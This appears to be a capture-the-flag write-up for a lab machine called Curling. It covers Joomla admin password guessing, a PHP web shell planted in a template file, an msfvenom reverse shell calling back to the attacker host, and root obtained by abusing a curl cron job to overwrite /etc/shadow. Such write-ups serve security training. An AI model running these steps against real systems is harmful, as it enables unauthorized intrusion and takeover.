Curling

2 March 2021

Starting information

  • Machine IP : 10.10.10.150
  • System : Windows

Network enumeration

I start by modifying my /etc/hosts file to avoid writing the IP everytime :

/etc/hosts
10.10.10.150 curling

Then I look for open ports with nmap and start an OpenVAS scan:

nmap -p- curling -Pn
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Now I can start nmap scripts on the open ports to gather more information:

nmap -p80,22 -A -Pn curling

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web page

Accessing http://10.10.10.150 shows us a curling blog page. The web page has a login form with options for a forgotten username or password. The password reset and forgotten username forms are both vulnerable to user enumeration.

The website has a search functionality which is not available on the home page but appears when a page is not found.

From the nmap scan we know that the blog was generated with the Joomla! CMS. From experience, I know that Joomla has an administrator page available at http://10.10.10.150/administrator/ which is still valid in this case.

Information gathering

To retrieve the Joomla! version I use the auxiliary scanner/http/joomla_version in metasploit. The version is 3.8.8.

At this stage, my OpenVAS scan was just finished and listed several vulnerabilities.

Vulnerabilities

Here I am only listing the high severity vulnerabilities:

CVEDescriptionSeverity
CVE-2018-15880, CVE-2018-15882Joomla! < 3.8.12 Multiple VulnerabilitiesHigh
CVE-2019-7739, CVE-2019-7740, CVE-2019-7741, CVE-2019-7742, CVE-2019-7743, CVE-2019-7744Joomla! < 3.9.3 Multiple VulnerabilitiesHigh

First win

At this point I am certain that I have to do a quick exploit with metasploit. So I start the program a do a search for "joomla" with search joomla. This search produces 17 results. I try the most obvious ones but most of them are not valid for the version 3.8.8. In the end I try them all but nothing works.

I then try to brute force the administration panel, without success. I use the down time during the brute force to read the posts and then I notice two things:

  • the user is named "Floris"
  • in the first post Floris says "curling2018 for the win!"

Yes curling2018, without a space between curling and 2018. Sure looks like a password to me... So I get back to the admin panel and try several variations of this password: curling2018, Curling2018, curling2018!. I do this with the usernames "floris", "Floris", and "admin". The right combination turns out to be "Floris" and "Curling2018!".

I found out later on that the comments in the page source indicated that a file secret.txt existed. This file contained the password in base64 🤷

I now have access to the control panel and I start looking around starting with the system information tab:

SettingValue
PHP Built OnLinux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64
Database Typemysql
Database Version5.7.22-0ubuntu18.04.1
Database Collationutf8_general_ci
Database Connection Collationutf8mb4_general_ci
PHP Version7.2.5-0ubuntu0.18.04.1
Web ServerApache/2.4.29 (Ubuntu)
WebServer to PHP Interfaceapache2handler
Joomla! VersionJoomla! 3.8.8 Stable [ Amani ] 22-May-2018 14:00 GMT
Joomla! Platform VersionJoomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT
User AgentMozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Digging further

The first thing I attempt is an upload of some php files in Content > Media > Upload but none of my payloads were accepted. I then modify the upload options to make them more permissive (I am the administrator after all) but the operation does not affect my exploit attempts.

Finally after digging a bit more I end up in Extensions > Templates. There I choose the default template and modify the file error.php to insert a simple php shell:

<?php echo "Shell";system($_GET['cmd']); ?>

I save my update and now when I visit a page that doesn't exist, my shell is triggered. For instance if I visit http://10.10.10.150/index.php/j?cmd=ls I get:

ShellLICENSE.txt README.txt administrator bin cache cli components configuration.php htaccess.txt images includes index.php language layouts libraries media modules plugins robots.txt.dist secret.txt templates tmp web.config.txt

Fancy shell

I know that I can have a simple shell but I'd like a fancier one now. I generate a new php shell with msfvenom:

msfvenom -p php/reverse_php LHOST=10.10.14.9 LPORT=4444 -f raw > shell.php

Then I replace the contents of error.php by the contents of the newly generated file. In metasploit:

  1. I select the exploit that will listen for incoming connections with use exploit/multi/handler
  2. I set the payload with set payload php/reverse_php
  3. I configure the LHOST and LPORT accordingly

Finally I start the exploit in msfconsole with exploit -j and trigger an error on the Joomla site.

msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 10.10.14.9:4444
[*] Command shell session 5 opened (10.10.14.9:4444 -> 10.10.10.150:48754) at 2021-03-02 15:21:53 +0100

msf6 exploit(multi/handler) > sessions 5
[*] Starting interaction with 5...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This shell is good enough, but I want it to be even better! To do so I will upgrade it to a full meterpreter shell in three simple steps:

  1. First I put the current session in the background with background.
  2. Then I get the session id with sessions -l, for instance, the session id is 9.
  3. Finally I use the command sessions -u 9 to upgrade session 9 to a new meterpreter shell:
msf6 exploit(multi/handler) > sessions -u 9
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [9]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 9
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.9:4433
[*] Sending stage (976712 bytes) to 10.10.10.150
[*] Meterpreter session 10 opened (10.10.14.9:4433 -> 10.10.10.150:55348) at 2021-03-02 15:41:13 +0100
[*] Command stager progress: 100.00% (773/773 bytes)

This generate a new session numbered 10 that I can select with sessions 10. I now have a fancy shell.

From www-data to floris

Right now I have a shell as the user www-data. I would like to be root, or at least the user floris. The home of the user floris contains a file named password_backup. I use my fancy shell to download this file and study it on my local machine:

meterpreter > download /home/floris/password_backup
[*] Downloading: /home/floris/password_backup -> password_backup
[*] Downloaded 1.05 KiB of 1.05 KiB (100.0%): /home/floris/password_backup -> password_backup
[*] download   : /home/floris/password_backup -> password_backup

The first thing I notice when I look at this file is the presence of what looks like a magic header for BZip2 (BZh):

cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`

A quick check on wikipedia confirms my suspicions. At this step I was so stuck on trying to extract the files with bzip2 and failing that I didn't realize that I was looking at the result of a cat command and not a xxd. So before anything, it is necessary to reconstruct the original archive. The command to do that is xxd -r:

mv password_backup password_backup.hex # just making the names clearer
xxd -r password_backup.hex > password_backup.bz2

The new file extracted is named password_backup:

xxd password_backup
00000000: 1f8b 0808 846c 045b 0003 7061 7373 776f  .....l.[..passwo
00000010: 7264 0001 8d00 72ff 425a 6839 3141 5926  rd....r.BZh91AY&
00000020: 5359 36c7 8d84 0000 7f7f 84ca 1080 4040  SY6...........@@
00000030: 217f 8408 0004 5074 44de c400 0080 0820  !.....PtD......
00000040: 0074 2264 ca68 0000 6803 4f50 4953 4000  .t"d.h..h.OPIS@.
00000050: 0000 00fb 9236 9884 0f38 0245 543e 5040  .....6...8.ET>P@
00000060: e923 4920 62d5 837c 33ad 9c78 1688 c8c6  .#I b..|3..x....
00000070: f302 cb13 b696 b8da 282a 4e8d 260e 8c48  ........(*N.&..H
00000080: aff3 6b1f 0f15 31e9 c114 0378 151c b5ff  ..k...1....x....
00000090: 2289 7bf2 a9e0 b3b1 8c00 fc5d c914 e142  ".{........]...B
000000a0: 40db 1e36 100e 9a6d ae8d 0000 00         @..6...m.....

1f8b is a magic byte for the GZIP format, so I now how to extract this:

mv password_backup password_backup.gz
gunzip password_backup.gz

This uncovers a BZip2 file, with no magic byte. However the file utility shows us that this is just a tar archive:

file password_backup
password_backup: POSIX tar archive (GNU)

I untar the file with tar -cf password_backup and retrieve a file password.txt. I now have what appears to be the password of the user floris, but commands like sudo su, or su are not working (probably because my shell is not so great after all). At this point I am kind of stuck, but after taking a step back and reviewing all the data at my disposal, I remember that the ssh port is opened.

ssh floris@curling

The above command works if I give it the password I just found.

Getting some root

Now that I have successfully impersonated floris, I would like to get root. This user does not have sudo rights:

floris@curling:~$ sudo vim
[sudo] password for floris:
floris is not in the sudoers file.  This incident will be reported.

I look around and one thing really stands out: one of the folder in the home directory is named admin_area which contains two files (input and report), and this folder was created by root.

drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area

At this point I was also stuck. First I wanted to determine which process was responsible for creating the files input and report. I tried a bunch of ps and lsof commands to find it. Then I thought I might as well just try a privilege escalation directly. And while searching for some privilege escalation tools I finally stumbled on the pspy utility thanks to the awesome privilege escalation list.

This utility lets me retrieve information about running processes even if I am a regular user. After downloading and running the utility on the server here is what I saw:

2021/03/02 16:28:01 CMD: UID=0    PID=6392   | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
2021/03/02 16:28:01 CMD: UID=0    PID=6391   | sleep 1
2021/03/02 16:28:01 CMD: UID=0    PID=6390   | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2021/03/02 16:28:01 CMD: UID=0    PID=6389   | /usr/sbin/CRON -f
2021/03/02 16:28:01 CMD: UID=0    PID=6388   | /usr/sbin/CRON -f
2021/03/02 16:28:01 CMD: UID=0    PID=6393   | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

Apparently, there is a process that uses curl to download a file regularly.

/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

It downloads a web page with curl and puts it in the report file. Which page? The one defined in the input file. Here is the relevant info from the curl man page:

-K, --config <file> Read config from a file

Our file input looks like this:

/home/floris/admin-area/input
url = "http://127.0.0.1"

So what if I create test.txt, a simple file containing "Hello World", and change the configuration file to:

/home/floris/admin-area/input
url = "file:///home/floris/test.txt

In this case, after a minute, a new file report is created with the contents of test.txt. Alright, I just managed to create a file as root, I can actually do better and create a file in an arbitrary location as root thanks to the option output:

/home/floris/admin-area/input
url = "file:///home/floris/test.txt
output = "/etc/test.txt"

My idea to get root access is to change the root user password in /etc/shadow and then connect as root with ssh or su.

Shadow edit

The configuration for the user floris is like so

/etc/shadow
floris:$6$yl7KKyGaOhVExlCb$ONJceChbI7srpLlJ/AhCLgESU7E4gXexPVgsJMjvQ0hP.6fwslfwWmD15cuaYs9./Jin4e/4LURPgEBav4iv//:17673:0:99999:7:::
  • The $6$ indicates that the SHA-512 algorithm is used.
  • The$yl7KKyGaOhVExlCb$ is the salt
  • The rest is the password

To regenerate this line I can use the utility mkpasswd. I give floris's password in stdin after executing the command and the I get the same result:

mkpasswd --method=SHA-512 --salt yl7KKyGaOhVExlCb --stdin
$6$yl7KKyGaOhVExlCb$ONJceChbI7srpLlJ/AhCLgESU7E4gXexPVgsJMjvQ0hP.6fwslfwWmD15cuaYs9./Jin4e/4LURPgEBav4iv//

Now I craft the root password, in this case "letmein":

mkpasswd --method=SHA-512 --salt RIgrVboA --stdin
Password: letmein
$6$RIgrVboA$potjmpCTY5IKHkIJx9LX36G212zQV6RldIblGjSqBgTIfoHhsV9B4A1sNrgn/AQGb19I4ITpPiAL.kAFZdiPo/

The final configuration line is:

root:$6$RIgrVboA$potjmpCTY5IKHkIJx9LX36G212zQV6RldIblGjSqBgTIfoHhsV9B4A1sNrgn/AQGb19I4ITpPiAL.kAFZdiPo/:17673:0:99999:7:::

To retrieve and edit /etc/shadow I just used the same trick of modifying the input file.

I wait for a while then run su - root with the password letmein and I'm in! The only thing left for me to do is to get the flag.